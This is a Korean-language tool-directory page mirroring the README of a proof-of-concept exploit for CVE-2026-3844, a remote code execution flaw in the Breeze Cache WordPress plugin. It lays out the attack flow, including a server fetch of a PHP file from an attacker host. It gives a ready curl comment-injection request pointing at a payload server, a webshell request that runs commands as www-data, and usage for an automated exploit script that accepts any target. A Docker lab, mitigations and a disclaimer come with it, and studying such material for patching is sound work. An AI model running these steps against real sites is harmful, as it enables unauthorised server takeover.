Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3844 — # CVE-2026-3844 PoC 익스플로잇 CVE-2026-3844에 대한 개념 증명 익스플로잇으로, Breeze Cache <= 2.4.4에서 인증 없이 임의 파일 업로드를 통해 원격 코드 실행(RCE)을 유발하는 취약점입니다. Docker 랩과 자동화된 익스플로잇 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-3844
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubdinosn/cve-2026-3844

CVE-2026-3844

# CVE-2026-3844 PoC 익스플로잇 CVE-2026-3844에 대한 개념 증명 익스플로잇으로, Breeze Cache <= 2.4.4에서 인증 없이 임의 파일 업로드를 통해 원격 코드 실행(RCE)을 유발하는 취약점입니다. Docker 랩과 자동화된 익스플로잇 스크립트를 포함합니다.

저장소 보기
5165개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-3844 — Breeze Cache <= 2.4.4 인증되지 않은 임의 파일 업로드를 통한 RCE

개요

필드값
CVECVE-2026-3844
CVSS9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — 위험한 유형의 파일 무제한 업로드
플러그인Breeze Cache by Cloudways
영향 범위2.4.4 이하 모든 버전
수정 버전2.4.5 (changeset 3511463)
설치 수400,000개 이상의 활성 WordPress 설치
발견자Hung Nguyen (bashu)
공개일2026-04-23

취약점

inc/class-breeze-cache-cronjobs.php의 fetch_gravatar_from_remote() 함수는 원격 URL을 다운로드하여 URL의 원본 파일명과 확장자를 사용해 웹에서 접근 가능한 디렉터리에 저장합니다. MIME 유형 검증, 확장자 화이트리스트, 콘텐츠 검사가 전혀 없습니다.

"Host Files Locally - Gravatars" 설정이 활성화되면 플러그인은 breeze_replace_gravatar_image()를 통해 WordPress의 get_avatar 필터에 연결됩니다. 이 함수는 정규식을 사용하여 아바타 HTML의 srcset 및 src 속성에서 URL을 추출합니다. 공격자는 조작된 작성자 이름으로 댓글을 게시하여 악성 srcset 속성을 주입할 수 있으며, 이로 인해 플러그인이 임의의 PHP 파일을 다운로드하고 캐시하게 됩니다.

취약한 코드

Vulnerable code in fetch_gravatar_from_remote()

누락된 검증:

  • 다운로드한 콘텐츠가 이미지인지 확인하는 검사 없음 (MIME 검증)
  • 파일 확장자 제한 없음 (.php, .phtml, .phar 모두 허용)
  • HTTP 응답의 콘텐츠 유형 검사 없음
  • 대상 디렉터리는 웹에서 접근 가능하며 PHP 실행을 허용함

공격 흐름

공격자                            WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  댓글 저장됨
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar 필터 실행
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    정규식으로 srcset URL 추출
   |                                        |    fetch_gravatar_from_remote() 호출
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP 파일 콘텐츠                |
   |         -----------------------------> |
   |                                        |  저장 위치:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP가 www-data로 실행됨
   |         uid=33(www-data)               |
   |  <------------------------------------ |

사전 조건

  1. Breeze 플러그인 버전 <= 2.4.4가 설치 및 활성화되어 있어야 함
  2. "Host Files Locally - Gravatars" 가 활성화되어 있어야 함 (기본적으로 비활성화, 설정 > Breeze > 고급)
  3. 최소 하나의 게시물에서 WordPress 댓글이 열려 있어야 함
  4. 공격자의 페이로드 서버가 WordPress 서버에서 접근 가능해야 함

Docker 랩 설정

이 PoC에는 자체 포함된 Docker 환경이 포함되어 있습니다:

  • WordPress 6.5 + Breeze 2.4.4 (취약, gravatar 호스팅 활성화됨)
  • MariaDB 10.11
  • PoC 페이로드를 호스팅하는 Python HTTP 서버

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3.8+ 및 requests (pip install requests)

1. 랩 시작

cd docker/
docker compose up -d --build

WordPress 초기화에 약 30초 정도 기다립니다. 확인:

curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# 예상 결과: Stable tag: 2.4.4

2. 사전 조건 확인

Breeze version 2.4.4 confirmed

Comments open, gravatar hosting enabled

Docker 설정은 자동으로 다음을 수행합니다:

  • "Host Files Locally - Gravatars" 활성화 (breeze-store-gravatars-locally: 1)
  • 게시물의 댓글 열기
  • 댓글 검토 비활성화 (즉시 악용을 위해)

악용

수동 단계

1단계 — 악성 댓글 게시

curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

PAYLOAD_IP를 페이로드 컨테이너의 IP로 교체하세요:

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

예상 응답: 게시물 페이지로의 HTTP 302 리디렉션.

Malicious comment POST

2단계 — 아바타 렌더링 트리거

게시물 페이지를 방문하여 WordPress가 댓글의 아바타를 렌더링하게 하면, Breeze get_avatar 필터가 실행되고 페이로드가 다운로드됩니다:

curl -s "http://localhost:8088/?p=1" > /dev/null

렌더링된 HTML은 Breeze가 주입된 srcset을 추출하고 페이로드를 캐시했음을 보여줍니다:

Avatar rendering triggers payload fetch

3단계 — 디스크의 파일 확인

PHP 페이로드는 그대로 기록되며, www-data 소유입니다:

shell.php on disk owned by www-data

4단계 — RCE 확인

RCE confirmed — id, whoami, uname, /etc/passwd

자동화된 악용 스크립트

cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Automated exploit script output

스크립트 옵션

usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress 대상 URL (필수)
  -p, --payload     업로드할 PHP 페이로드의 URL
  --post-id         댓글을 달 특정 게시물 ID
  --timeout         HTTP 타임아웃(초) (기본값: 15)
  --wait            cron 대기 시간(초) (기본값: 12)
  --check-only      플러그인 버전만 확인, 악용하지 않음

정리

cd docker/
docker compose down -v --remove-orphans

해결 방법

  1. 업데이트: Breeze를 버전 2.4.5 이상으로 업데이트
  2. 임시 조치 (패치가 불가능한 경우): Breeze 설정에서 "Host Files Locally - Gravatars" 비활성화
  3. 강화: wp-content/cache/breeze-extra/gravatars/의 .htaccess에 다음 추가:
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

파일 구조

cve-2026-3844/
  README.md              # 이 파일
  docker/
    Dockerfile           # WordPress + Breeze 2.4.4 이미지
    docker-compose.yml   # 전체 랩 (WP + MariaDB + 페이로드 서버)
    entrypoint-custom.sh # 취약한 설정으로 WP 자동 구성
  poc/
    exploit.py           # 자동화된 PoC 악용 스크립트
    validate.sh          # 종단 간 Docker 검증 하네스
  payloads/
    shell.php            # 무해한 PoC 페이로드 (echo + id)
  screenshots/           # SVG 터미널 스크린샷 (Charm freeze)
  validation/            # RAPTOR 악용 가능성 검증 출력

참고 자료

  • NVD — CVE-2026-3844
  • Wordfence Advisory
  • WordPress Patch Changeset 3511463
  • 취약한 소스 (2.4.1 태그)

면책 조항

이 개념 증명은 승인된 보안 테스트, 교육 및 방어적 연구 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.

도구 다운로드